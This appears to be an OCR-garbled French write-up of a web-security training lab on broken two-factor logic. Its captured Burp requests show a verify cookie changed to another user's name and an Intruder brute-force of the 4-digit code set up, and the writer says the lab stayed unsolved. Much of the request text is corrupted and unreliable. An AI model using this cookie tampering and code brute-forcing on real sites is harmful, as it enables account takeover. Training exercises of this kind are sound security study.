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Lab: 2FA broken logic

PRACTITIONER
LA Nol solved

This lab's two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos's account page.

 Your credentials. wiener:pates
« \Victim's usemame. carlos

Le but de ce lab est d'utiliser la vulnérabilité du cookie pour se connecter sur le compte d'un autre
user.

Login

Usermame

wiener

Request
Pretty  Raw  Hex a8 wn =
POST /login HTTE/(:

2 Host:
Dac700kE043aa55083cad 1BS0058000E . veb-secur Lty-academy .

Cookie: vzrity-.i.eul'f';essmn-
CRpaVYCBAADVIaBYROZ INg] ZvdiE1CVY
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: “Not) A;Brand”;w
Sec-Ch-Ua-Mobile: 70

g Sec-Ch-Ua-Flacform: "Vindows™

= Accepr-Language: fr-FR,fr:q=0.9

Crigin:
hteps://Dac700bE043aas5003cad LESO0SA000E . web-gecur ity—
academy . net

Content-Type: application/x-www-form-urlencoded
Upgrade-Insecurs-Requests: L

User-Agent: Mozilla/S.0 (Windows NT 10.0; Winéd: xéd)
AppleVebFit/537.36 (KHTHL, like Gecko)
Chtome/138.0.0.0 Safari/537.3€

hocept:

text/html, application/xhtml+xml, applicacion/xml;q=0.9,
image/avit, image/vebp, image/apng, */ *:q=0.8, application
/aigned-exchange; v=b3: q=0.7

15 Sec-Fetch-Site: same-origin

| Sec—Fetch-Mode: navigate

7 Sec-Fetch-User: 71

¢ Sec-Fetch-Dest: document

15 Referer:
https://0acTO0bED42aab500cat 1BS0058000E . web-security—
academy.net/ login

Accept-Encoding: gzip, deflace, br

Priorivty: u=0, i

"8", "Chromium®;v="138"

username=viener ipassvord=peter

O==
Hex Rendel E\II

HTTP/Z 302 Found

Location: /loginI

Ser-Cookie: verify=wiensr; HeepOmly

Set-Cookie: session=lxlxnvUXHGHpLr [EFkTAMEpJe lsFBngS;
Secure; Hctplnly: SameSice=Nons

5 X=Frame-Options: SAMEORIGIN

¢ Content-Length: O

On arrive sur la page qui nous demande de rentrer le code de vérification :

s

logic

Wel 2FA broken - Not solved ;
Aca

Back to lab home
Email client

ekt ab o oo

eman

Home | My account

your 4-digit security code

AR emeRn

On va sur notre mail :

Authentication vulnerabilities Page 1



eb Security 2FA broken logic

Academy Back to exploit server

Displaying all emails @exple ploit- .net and all
Sent To From Subject  Body
Hello!

Your security code

s is 0175.
: wiener@exploit- P " oY I
2026:00.04 0362002a04dba500830c401  CPY@0ac700b6043aa55083ca  Securty ) Lo i
20:20:07 +0000 418900580006 web-security- code g
d01640040 exploit-server.net in the app to cont
academy.net &
inue.
Thanks,
Support team
Hello!
Your security code
is 0172.
wiener@exploit e
2025-08-04 =S¥ reply@0ac700b6043aa55083ca  Security 2
2 4 iy ’
201635 +0000 0a62002a04dba500830c401 418900580006 web-security- code Please enter this

d01640040 exploit-server net in the app to cont

academy.net %
inve.

Thanks,
Support team

Hello!

Your secucity code

Et c'est |a ol la magie commence :

[T R NP, —
=
Request Response
Pretty  Raw Hex aB@ wn = %
POST /loginZ HTTP/I 2
Host: g
0acTO0bE041 aa5 5082

a41880058000€ . web-secur ity-academ
v.net #
Cookie: verify=carlos: aion=
BVanécVyeRdyCoulisqqiRxwyGuoZHoF0
Content-Length
Cache-Control: max-age=0
Sec-Ch-TVa: "Not)A:Brand™:v="8", "Chromium":v="138"

082
Sec-Ch-Ua-Mobile: 70 ~
Sec-Ch-Ua-Flatform: "Windows"

Accept-Language: fr-FR, fr:qe0.8 m

CEigi
hreps://Dac700bE043aa55083ca41890058000€ . web-secur it
y-academy. net
Content-Type: application/x-wew-form-urlencoded
2 Upgrade-Insecure-Requesca: 1
User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winéd4:
AppleWebKit/537.3€ like Gecko)
Cheome/138.0.0.0 Satari/&3
1 hccept:
rext/heml, applicat Lon/ xhtml+xml, app Licat ion/ xml;g=0.
8, imag i i / -

SNoN (i

SUDOIE Wosn) <[

favif, image, P, image/apng 0.8, applica
tion/signed-sxchange;v=bi;q=0.7

5 Sec-Fecch-Site: same-origin
Sec-Ferch-Mode: navigate

Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Referer

/DacT00BED43 4455083044 1BS0052000E . vel-S2cuE LT
. net/ logind

hooept-Encoding: gzip, deflate, br

Friority: u=o, i

mEa-code=082E o

Pretty  Raw  Hex [N = U]
POST /login HTTE/2
Host :

0ac700bED43 42550083 cad LES00SA000E . veb-secur 1t
y-academy . net
Cookie: verify=carlos; session=
¥QtHnDRgRkSWpw) LMLucVinll iBXugeT
Content-Length: 10
Cache-Control: max-age=
Sec-Ch-Ua: "Not) A;Bran
"Chromium®;w="138"
7 Sec-Ch-Ua-Mobile: 7
Sec-Ch-Ua-Placform: "Vindova"
Acceprt-Language: fr-FR,fr;gq=0.5
Origin
hrtps acT00bEN43aas508cad 18S0058000E . vel
-secur lty-academy. nec
Content-Type
application/x-wew-form-ur lencoded
Upgrade- Insecure-Requesta: 1
User-Agent: Mozilla/5.0 (Vindows NT 10.0:
Ving4; x£4) AppleVWebFir/537.36 (KHTHL, Llike
Gecko) Chrome/138.0.0.0 Safari/537.3&
Accepe:
cext/ntml, application/xhtml+xml, application’
=0.5, image/avit, image/vebp, image/ apng, *
0.0, application/signed-=xchangs;v=bl;q=

y=ngs

Sec-Fetch=-5it

aame=ot 1gin

Sec-Fetch-Nods navigace
Sec-Fetch-User: 71
Sec-Fetch-Dest: document

Referer:
hreps://0acT00bE043aa55083cad 1590058000E . veb
-sscurity-academy.n=t/login

Accept-Encoding: gzip, detlate, br

Priority: w=0, i

ussrpame=y Lpassword:
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Response

Prett Faw B\ = Re
1 HTTE/2 302 Found

> Location: /login? Rer
5 Set-Cookie: verify=wiener: Hrtpomly

Ser-Cookie: session=
¥S99aBrVOLeBr2RPE Yuvlulml Ihd=£n7; Secure;
Hetponly: SameSite=None

5 X-Frame-Opclons: SANECEIGIN Re
& Content-Length: O
B Rer
-
Request Response

Render

- Not solved

Pretty Raw Hex

14
5
[
Hl}
s
m

Pretty  Raw  Hex
GET /login? HTTR/2

2 Homt: 2FA broken

Dac700bED43 I it .
y-academy. net logic
Cookis: wverify=carlos; session=
HOTHADRRESVpW] IALWeVInl3 iBXugoT
Cache-Control: max-age=0

"Hot | A; Brand®;w="g",

Back to lab home

& Sec-Ch-Ua-Mobile: 70

7 Sec-Ch-Ta-Platform: "¥indows"
Accept-Language: fr-FR,fr;q=0.9

5 Crigin:

ntepa://O0acTO0bEO4Iaas 5081 cad 1BS005S000E . vel
~SECUE ity-academy.net
Upgrade-Insecute-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
Vinéd: xE4) AppleWebEit/5317.3 (KHTHL, like
Geckop Chrome/138.0.0.0 Satarif537.3&
heeepr:

text/heml, applicat ion/xhtml+xml, application/
q=0.9, image/avif, image/webp, image/apng, *
=0.8, application/signed-exchange: v=h3: q=

Home | My account

Please e M

4-digit security code

Fetch-Site: mame—origin
Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:
hteps://0acT00bEO43aas5081cad1890058000E . wveb
=security-academy.net/ Login

Accept-Encoding: gzip, deflate, br

Priority: u=0, i

Bon ici on a pu accéder a la demande de vérification avec le code donc ¢a veut dire qu'on a envoyé
un mail avec un code au user Carlos. On peut essayer de brute forcer vu qu'on a pas accés a son

mail.
itercept HTT? history WebSockets history Match and replace {9} Proxy settings
BT o @ opmbranec | @

ne Type Direction Method URL Status code  Length

Academy <]

Web SeCurity 2FA broken logic

Back to lab home

Intercept is on

Messages between Burp's browser and your target servers are held here. This enables you to
analyze and modify these messages, before you forward them.

Learn more Open browser
snper s -
“arget P 5083cad security-acad net @ uUpdate Host header to match target
‘ositions Add § Clear § Auto §

POST /loginZ HTTR/Z

Host: Oac700bE041aals083cad I0E . wely ¥ y.net

Cookie: verify=viener: session=UOFcPLOLIQITEIECBaDDXIxUDVRGbKCKSS

Concent-Lengeh: 13

Cache-Control: max-age=0

Sec-Ch-Ua: "Not) A;Brand®;wv="27, “Chromium";w="138"

Sec-Ch-Ua-Nobile: 70

Sec-Ch-Ua-Platform: "Vindows"

hooept-Language: fr-FR, friq=0.9

Grigin: httpa://0acT00bED43aa8808]cadl . ity y.net

Content-Type: application/X¥-wev-form-urlencoded

Upgtade-Insecute-Requescs: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4) AppleVebKit/537.3¢ (FHTML, like Gecko) Chrome/138.0.0.0 Safari/537.3¢
Accapt:

text/homl, application/ xhtml+xml, app lication/xml; gq=0. %, image/ avit, image/ vebp, image,/ apng,
Sec-Fetch-Sice: same-origin

Sec-Ferch-Mods: navigate

jec—Fetch-User: 71

Sec-Fetch-Deat: documenc

Reterer: horps://0ac7O00bEDA3 b ity o
Accept-Encoding: gzip, deflate, br

Pricrity: u=0, i

:q=0. 8, applicacion/signed-exchange :v=b3: q=0.7

¥.net/ logind

mra-code=FIZINS

Idem vu que je n'ai pas burpsuite pro c'est juste galére a résoudre ce chall donc go le refaire plus
tard, un jour.
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Logi:
Payloads
Payload position: & pe
Payload type: Brute forcer
Payload count: 10,000
Request count: 10,000

Payload configuration

This payload type generates payloads of specified lengtl
Character set: | p123456789

Min length: 4

Max length: | 4

Payload processing

You can define rules to perform various processing task

Add Enabled
Edit

Remaove



